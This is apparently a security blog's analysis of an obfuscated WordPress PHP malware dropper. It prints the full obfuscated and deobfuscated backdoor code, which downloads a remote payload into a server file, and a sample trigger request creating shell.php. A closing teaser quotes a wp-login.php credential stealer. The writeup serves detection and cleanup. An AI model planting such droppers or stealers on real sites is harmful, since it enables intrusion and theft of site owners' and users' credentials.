Obfuscated WordPress Malware Dropper

WordPress Redirect Hack via Test0.com/Default7.com

It goes without saying that evasive maneuvering is at the top of a hacker’s priority list. Most often, they try to evade detection by obfuscating their malicious code to make it unreadable to the naked eye.

In our recent post we demonstrated how the PHP function file_put_contents is used to inject malicious data into a website file — but in that example, hackers used concatenated decimal strings to obfuscate much of their malicious PHP code.

During a recent investigation, we discovered another incident where malware authors used file_put_contents in their malicious injection. What made it a bit more unique, however, was the obfuscation technique they employed.

Obfuscation in Arrays

In this example, the malware author obfuscated their PHP code by using concatenated array values that are defined in the first variable in the malicious code ($OO00_OO_0_).

Confusing variable names created with a combination of O, 0, and _ characters make them difficult to remember and differentiate to the naked eye, adding additional complexity to the obfuscation.

$OO00_OO_0_="prlm326-q4iuzdk_w1tcsabxfj589h0yen7gvo";

$O__0O0_O0O=$OO00_OO_0_{24}.$OO00_OO_0_{10}.$OO00_OO_0_{2}.$OO00_OO_0_{32}.$OO00_OO_0_{15}.$OO00_OO_0_{0}.$OO00_OO_0_{11}.$OO00_OO_0_{18}.$OO00_OO_0_{15}.$OO00_OO_0_{19}.$OO00_OO_0_{37}.$OO00_OO_0_{33}.$OO00_OO_0_{18}.$OO00_OO_0_{32}.$OO00_OO_0_{33}.$OO00_OO_0_{18}.$OO00_OO_0_{20};$OOO_000_O_=$OO00_OO_0_{19}.$OO00_OO_0_{1}.$OO00_OO_0_{32}.$OO00_OO_0_{21}.$OO00_OO_0_{18}.$OO00_OO_0_{32}.$OO00_OO_0_{15}.$OO00_OO_0_{24}.$OO00_OO_0_{11}.$OO00_OO_0_{33}.$OO00_OO_0_{19}.$OO00_OO_0_{18}.$OO00_OO_0_{10}.$OO00_OO_0_{37}.$OO00_OO_0_{33};$O0OOO_0__0=$OO00_OO_0_{19}.$OO00_OO_0_{11}.$OO00_OO_0_{1}.$OO00_OO_0_{2}.$OO00_OO_0_{15}.$OO00_OO_0_{20}.$OO00_OO_0_{32}.$OO00_OO_0_{18}.$OO00_OO_0_{37}.$OO00_OO_0_{0}.$OO00_OO_0_{18};$OO_0O_00_O=$OO00_OO_0_{19}.$OO00_OO_0_{11}.$OO00_OO_0_{1}.$OO00_OO_0_{2}.$OO00_OO_0_{15}.$OO00_OO_0_{10}.$OO00_OO_0_{33}.$OO00_OO_0_{10}.$OO00_OO_0_{18};$O_00OO_O0_=$OO00_OO_0_{19}.$OO00_OO_0_{11}.$OO00_OO_0_{1}.$OO00_OO_0_{2}.$OO00_OO_0_{15}.$OO00_OO_0_{32}.$OO00_OO_0_{23}.$OO00_OO_0_{32}.$OO00_OO_0_{19};$OO__O0_0O0=$OO00_OO_0_{18}.$OO00_OO_0_{1}.$OO00_OO_0_{10}.$OO00_OO_0_{3}

After deobfuscating the array values of these variables, we are left with the following PHP functions:

$O__0O0_O0O = file_put_contents
$OOO_000_O_ = create_function
$O0OOO_0__0 = curl_setopt
$OO_0O_00_O = curl_init
$O_00OO_O0_ = curl_exec
$OO__O0_0O0 = trim

The next part of the code uses these PHP functions to perform it’s malicious behavior — but it is hard to tell at first, as much of the characters are obfuscated by using their escaped hexadecimal values instead of the readable ASCII characters:

$O__0_00OOO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x30\x30\x5f\x4f\x5f"]('$O0_0OOO0__=\'\'','$O00_OO_O_0=isset($_REQUEST["\x57\x6f\x72\x64\x50\x72\x65\x73\x73"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30\x4f\x30"]($_REQUEST["\x57\x6f\x72\x64\x50\x72\x65\x73\x73"]):\'\';$OO_0O0__O0=isset($_REQUEST["\x44\x61\x74\x61\x62\x61\x73\x65"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30\x4f\x30"]($_REQUEST["\x44\x61\x74\x61\x62\x61\x73\x65"]):\'\';$OOOO00_0__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x5f\x30\x30\x5f\x4f"](\'http://\'.$O00_OO_O_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x5f\x30\x5f\x5f\x30"]($OOOO00_0__,CURLOPT_RETURNTRANSFER,1);$O__O_0OO00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x4f\x30\x5f"]($OOOO00_0__);if($OO_0O0__O0!=\'\'){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x4f\x30\x4f"]($OO_0O0__O0,$O__O_0OO00);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x5f\x30\x30\x4f\x4f\x4f"]();

An easy way to deobfuscate these hexadecimal values is to use an online tool like DDecode’s HexDecoder. After copying the obfuscated text and running it, we are left with the deobfuscated text that shows the code in a more readable form:

$O__0_00OOO = ${"GLOBALS"}["OOO_000_O_"]('$O0_0OOO0__=\'\'','$O00_OO_O_0=isset($_REQUEST["WordPress"])?${"GLOBALS"}["OO__O0_0O0"]($_REQUEST["WordPress"]):\'\';$OO_0O0__O0=isset($_REQUEST["Database"])?${"GLOBALS"}["OO__O0_0O0"]($_REQUEST["Database"]):\'\';$OOOO00_0__=${"GLOBALS"}["OO_0O_00_O"](\'http://\'.$O00_OO_O_0);${"GLOBALS"}["O0OOO_0__0"]($OOOO00_0__,CURLOPT_RETURNTRANSFER,1);$O__O_0OO00=${"GLOBALS"}["O_00OO_O0_"]($OOOO00_0__);if($OO_0O0__O0!=\'\'){${"GLOBALS"}["O__0O0_O0O"]($OO_0O0__O0,$O__O_0OO00);}');
${"GLOBALS"}["O__0_00OOO"]();

Even with the text being ASCII characters now it still can be difficult to quickly read the code due to the confusing variable names and the superglobal variable $GLOBALS.

Malicious Behavior Using PHP Functions

After going through and breaking down the code, we were able to identify the following behavior:

  • Creates a malicious function using create_function which is defined in the rest of the code.
  • Looks for the values WordPress and Database within the visitor’s HTTP request and assigns a variable to each value, $O00_OO_O_0 and $OO_0O0__O0 respectively.
    • WordPress should contain a URL in the attacker’s HTTP request
    • Database should contain a filename in the attacker’s HTTP request
  • Uses curl to download data from a URL supplied by the value WordPress in the attacker’s HTTP request.
  • Writes the downloaded data to a file using file_put_contents. The filename is obtained from the value for DataBase found in the attacker’s HTTP request. This file is what ends up being run when the malicious function ${“GLOBALS”}[“O__0_00OOO”]() is executed in the last line.

In short, the malicious code uses curl to download the malicious payload along with the intended filename — both of which are provided by the attacker in their request. It then uses the payload and filename with file_put_contents to create a malicious file on the web server.

Analyzing the HTTP Request

To run the malware, the attacker uses an HTTP request similar to this one:

/dropper.php?WordPress=sucuri.net%2Ftest.txt&Database=%2Fvar%2Fwww%2Fhtml%2Fshell.php

In this example, the HTTP request would have the malicious code download the payload from sucuri.net/test.txt and insert it into a file located at /var/www/html/shell.php.

Detecting & Mitigating Evasive Malware

Malware droppers can be difficult to detect. Since this malicious code is a backdoor and requires the WordPress and Database conditions found within the HTTP request to execute, it is best detected using a server side scanner that can view the file.

Nothing loads on the website without these conditions being met, which is why analyzing at the site level won’t identify the infection. If you believe your site has been infected with a malware dropper and you need a hand to clean it up, we’re here to help.

You May Also Like

Simple WP login stealer

We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \ } // End of login_header() $username_password=$_POST[‘log’].”—-xxxxx—-“.$_POST[‘pwd’].”ip:”.$_SERVER[‘REMOTE_ADDR’].$time = time().”\r\n”; $hellowp=fopen(‘./wp-content/uploads/2018/07/[redacted].jpg’,’a+’); $write=fwrite($hellowp,$username_password,$time);…
Read the Post